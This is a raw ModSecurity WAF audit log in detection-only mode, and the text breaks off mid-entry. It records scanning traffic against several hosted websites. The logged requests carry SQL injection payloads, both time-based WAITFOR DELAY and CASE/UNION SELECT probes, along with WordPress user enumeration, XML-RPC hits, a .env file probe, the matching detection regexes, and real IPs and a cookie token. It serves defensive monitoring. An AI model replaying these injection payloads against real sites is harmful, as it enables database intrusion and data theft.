combined=4183, p1=347, p2=3608, p3=0, p4=0, p5=227, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e3d1f2c-Z-- --3477b26b-A-- [16/Jun/2025:03:07:32.081516 +0530] aE89G3ZqyQ8YfVGvJU7YigAAAAY 162.158.110.251 52308 127.0.0.1 7081 --3477b26b-B-- GET /login-now/?utm_source=website%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%287168%3D7168&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.110.251 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505358c4c4d972c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3477b26b-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website)%20WAITFOR%20DELAY%200:0:5%20AND%20(7168=7168&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --3477b26b-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%287168%3D7168&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website) WAITFOR DELAY '0:0:5' AND (7168=7168 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%287168%3D7168&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89G3ZqyQ8YfVGvJU7YigAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website) WAITFOR DELAY '0:0:5' AND (7168=7168 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89G3ZqyQ8YfVGvJU7YigAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023451870378 211233 (- - -) Stopwatch2: 1750023451870378 211233; combined=3955, p1=386, p2=3436, p3=0, p4=0, p5=132, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3477b26b-Z-- --e6d32c20-A-- [16/Jun/2025:03:07:32.996759 +0530] aE89G1GNm2a2ZAngdHCtxQAAAAc 85.204.70.88 52292 127.0.0.1 7081 --e6d32c20-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.pjsglobal.com X-Real-IP: 85.204.70.88 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --e6d32c20-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 Cache-Control: no-cache X-Robots-Tag: noindex Link: <https://www.pjsglobal.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin WPO-Cache-Status: not cached WPO-Cache-Message: Output is too small (less than 255 bytes) to be worth caching, This is a REST API request (identified by REST_REQUEST constant), This page returned an HTTP unauthorised response code (401) Cache-Control: private, must-revalidate Connection: close Content-Type: application/json; charset=UTF-8 --e6d32c20-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.pjsglobal.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.pjsglobal.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.pjsglobal.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE89G1GNm2a2ZAngdHCtxQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/pjsglobal.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023451638686 1358157 (- - -) Stopwatch2: 1750023451638686 1358157; combined=1965, p1=335, p2=1540, p3=0, p4=0, p5=90, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6d32c20-Z-- --60908370-A-- [16/Jun/2025:03:07:33.185604 +0530] aE89HHZqyQ8YfVGvJU7YiwAAAAY 162.158.95.56 52370 127.0.0.1 7081 --60908370-B-- GET /login-now/?utm_source=website%20WAITFOR%20DELAY%20%270%3A0%3A5%27&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.56 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053594ba7c8f33-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --60908370-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website%20WAITFOR%20DELAY%200:0:5&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --60908370-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%20WAITFOR%20DELAY%20%270%3A0%3A5%27&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%20WAITFOR%20DELAY%20%270%3A0%3A5%27&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89HHZqyQ8YfVGvJU7YiwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89HHZqyQ8YfVGvJU7YiwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023452988908 196792 (- - -) Stopwatch2: 1750023452988908 196792; combined=3811, p1=364, p2=3293, p3=0, p4=0, p5=153, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60908370-Z-- --7b123550-A-- [16/Jun/2025:03:07:34.518951 +0530] aE89HgiLzf5Jb_3uGhHfugAAAAA 172.68.195.228 52432 127.0.0.1 7081 --7b123550-B-- GET /login-now/?utm_source=website%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20FTwF&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.195.228 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505359b887d65c0-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7b123550-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website%20WAITFOR%20DELAY%200:0:5--%20FTwF&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7b123550-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20FTwF&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website WAITFOR DELAY '0:0:5'-- FTwF found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20FTwF&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89HgiLzf5Jb_3uGhHfugAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website WAITFOR DELAY '0:0:5'-- FTwF found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89HgiLzf5Jb_3uGhHfugAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023454306400 212644 (- - -) Stopwatch2: 1750023454306400 212644; combined=3742, p1=344, p2=3258, p3=0, p4=0, p5=140, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b123550-Z-- --c466166d-A-- [16/Jun/2025:03:07:54.796506 +0530] aE89MR-kH31pk4mNbsU-_QAAAAo 128.199.112.101 38622 127.0.0.1 7081 --c466166d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c466166d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c466166d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE89MR-kH31pk4mNbsU-_QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023473879887 916676 (- - -) Stopwatch2: 1750023473879887 916676; combined=2363, p1=362, p2=1549, p3=46, p4=66, p5=206, sr=106, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c466166d-Z-- --425f9a40-A-- [16/Jun/2025:03:08:06.635822 +0530] aE89PX2GhYywD7zZgx76IgAAAAM 185.177.72.210 59164 127.0.0.1 7081 --425f9a40-B-- GET /:10000/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --425f9a40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a69daaa2287ffd13f84382c159ef2a2c1750023486; expires=Sun, 15 Jun 2025 22:38:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --425f9a40-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/application/.env"] [unique_id "aE89PX2GhYywD7zZgx76IgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023485927384 708518 (- - -) Stopwatch2: 1750023485927384 708518; combined=1734, p1=399, p2=1219, p3=0, p4=0, p5=115, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --425f9a40-Z-- --3f5ac133-A-- [16/Jun/2025:03:08:14.212586 +0530] aE89RkNwpNEMJppxC49RxQAAAAI 172.71.172.12 52318 127.0.0.1 7081 --3f5ac133-B-- GET /login-now/?utm_source=website&utm_medium=%28SELECT%20%28CASE%20WHEN%20%285454%3D9543%29%20THEN%20%27top-bar%27%20ELSE%20%28SELECT%209543%20UNION%20SELECT%201333%29%20END%29%29&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.12 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053694ad45d38c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3f5ac133-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --3f5ac133-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (5454=9543) THEN 'top-bar' ELSE (SELECT 9543 UNION SELECT 1333) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (5454=9543) THEN 'top-bar' ELSE (SELECT 9543 UNION SELECT 1333) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(5454=9543)then'top-bar'else(select9543unionselect1333)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (5454=9543) THEN 'top-bar' ELSE (SELECT 9543 UNION SELECT 1333) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (5454=9543) THEN 'top-bar' ELSE (SELECT 9543 UNION SELECT 1333) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89RkNwpNEMJppxC49RxQAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(5454=9543)then'top-bar'else(select9543unionselect1333)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89RkNwpNEMJppxC49RxQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023494160824 51948 (- - -) Stopwatch2: 1750023494160824 51948; combined=4014, p1=357, p2=3432, p3=0, p4=0, p5=225, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f5ac133-Z-- --c8dddd5b-A-- [16/Jun/2025:03:08:14.776011 +0530] aE89RnZqyQ8YfVGvJU7YoQAAAAY 172.68.195.143 52352 127.0.0.1 7081 --c8dddd5b-B-- GET /login-now/?utm_source=website&utm_medium=%28SELECT%20%28CASE%20WHEN%20%283415%3D3415%29%20THEN%20%27top-bar%27%20ELSE%20%28SELECT%204026%20UNION%20SELECT%207858%29%20END%29%29&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.195.143 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536982d3b4d2b-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c8dddd5b-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --c8dddd5b-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (3415=3415) THEN 'top-bar' ELSE (SELECT 4026 UNION SELECT 7858) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (3415=3415) THEN 'top-bar' ELSE (SELECT 4026 UNION SELECT 7858) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg 